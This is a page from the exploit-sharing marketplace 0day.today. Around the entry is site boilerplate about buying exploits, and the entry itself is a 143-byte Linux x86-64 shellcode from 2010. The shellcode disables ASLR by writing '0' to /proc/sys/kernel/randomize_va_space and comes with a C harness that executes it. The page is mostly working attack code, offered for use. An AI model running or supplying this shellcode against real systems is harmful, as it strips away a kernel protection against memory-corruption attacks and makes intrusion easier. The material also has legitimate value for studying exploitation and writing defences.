0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
linux/x86-64 Disable ASLR Security 143 bytes
[============================================
linux/x86-64 Disable ASLR Security 143 bytes
============================================
/*
Title: Linux/x86-64 - Disable ASLR Security - 143 bytes
Date: 2010-06-17
Tested: Archlinux x86_64 k2.6.33
Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm
! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
Description:
============
Address space layout randomization (ASLR) is a computer security technique
which involves randomly arranging the positions of key data areas, usually
including the base of the executable and position of libraries, heap, and
stack, in a process's address space.
This shellcode disables the ASLR.
*/
#include <stdio.h>
char *SC =
/* open("/proc/sys/kernel/randomize_va_space", O_WRONLY|O_CREAT|O_APPEND, 0644) */
"\x48\x31\xd2" // xor %rdx,%rdx
"\x48\xbb\xff\xff\xff\xff\xff\x61\x63\x65" // mov $0x656361ffffffffff,%rbx
"\x48\xc1\xeb\x28" // shr $0x28,%rbx
"\x53" // push %rbx
"\x48\xbb\x7a\x65\x5f\x76\x61\x5f\x73\x70" // mov $0x70735f61765f657a,%rbx
"\x53" // push %rbx
"\x48\xbb\x2f\x72\x61\x6e\x64\x6f\x6d\x69" // mov $0x696d6f646e61722f,%rbx
"\x53" // push %rbx
"\x48\xbb\x73\x2f\x6b\x65\x72\x6e\x65\x6c" // mov $0x6c656e72656b2f73,%rbx
"\x53" // push %rbx
"\x48\xbb\x2f\x70\x72\x6f\x63\x2f\x73\x79" // mov $0x79732f636f72702f,%rbx
"\x53" // push %rbx
"\x48\x89\xe7" // mov %rsp,%rdi
"\x66\xbe\x41\x04" // mov $0x441,%si
"\x66\xba\xa4\x01" // mov $0x1a4,%dx
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x02" // mov $0x2,%al
"\x0f\x05" // syscall
/* write(3, "0\n", 2) */
"\x48\xbf\xff\xff\xff\xff\xff\xff\xff\x03" // mov $0x3ffffffffffffff,%rdi
"\x48\xc1\xef\x38" // shr $0x38,%rdi
"\x48\xbb\xff\xff\xff\xff\xff\xff\x30\x0a" // mov $0xa30ffffffffffff,%rbx
"\x48\xc1\xeb\x30" // shr $0x30,%rbx
"\x53" // push %rbx
"\x48\x89\xe6" // mov %rsp,%rsi
"\x48\xba\xff\xff\xff\xff\xff\xff\xff\x02" // mov $0x2ffffffffffffff,%rdx
"\x48\xc1\xea\x38" // shr $0x38,%rdx
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x01" // mov $0x1,%al
"\x0f\x05" // syscall
/* _exit(0) */
"\x48\x31\xff" // xor %rdi,%rdi
"\x48\x31\xc0" // xor %rax,%rax
"\xb0\x3c" // mov $0x3c,%al
"\x0f\x05"; // syscall
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
# 0day.today [2024-09-28] #